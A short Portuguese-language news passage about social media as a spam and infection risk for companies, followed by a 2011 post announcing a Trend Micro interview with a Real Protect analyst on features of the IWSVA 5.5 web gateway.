As mídias sociais também são campo de propagação de spam, aponta a pesquisa. Empresas que utilizam ferramentas do tipo podem entrar em contato com as ameaças web ao usar sites de redes sociais para marketing e promoção. Também podem causar infecções do sistema por meio de funcionários que acessam sites como Facebook e Twitter no trabalho, que resultam em perda de dados ou o roubo de informações pessoais.

Por REDAÇÃO DA COMPUTERWORLD

 


Trend Micro entrevista analista Real Protect Gabriel de Freitas

Publicado por redator em 14/09/2011

Gabriel de Freitas, analista de segurança da Real Protect, participou de entrevista com a Trend Micro sobre as novas funcionalidades do Web Gateway IWSVA 5.5. Foram colocadas os pontos principais das novas funções, dentre elas: Application control, as cotas de acesso baseadas em tempo e password override.

 

Confira a entrevista na íntegra clicando no link abaixo:

 

http://us.trendmicro.com/imperia/md/content/us/pdf/solutions/enterprisebusiness/cs_real_protect_iwsva_august2011_083111.pdf